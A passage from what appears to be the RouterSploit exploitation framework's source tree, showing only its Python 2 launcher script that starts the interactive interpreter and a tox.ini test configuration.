-------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from routersploit.interpreter import RoutersploitInterpreter 4 | 5 | 6 | def routersploit(): 7 | rsf = RoutersploitInterpreter() 8 | rsf.start() 9 | 10 | if __name__ == "__main__": 11 | routersploit() 12 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | [tox] 2 | skipsdist = True 3 | envlist = py27 4 | 5 | [testenv] 6 | deps = 7 | mock 8 | pexpect 9 | -r{toxinidir}/requirements.txt 10 | 11 | commands=python -m unittest discover 12 | --------------------------------------------------------------------------------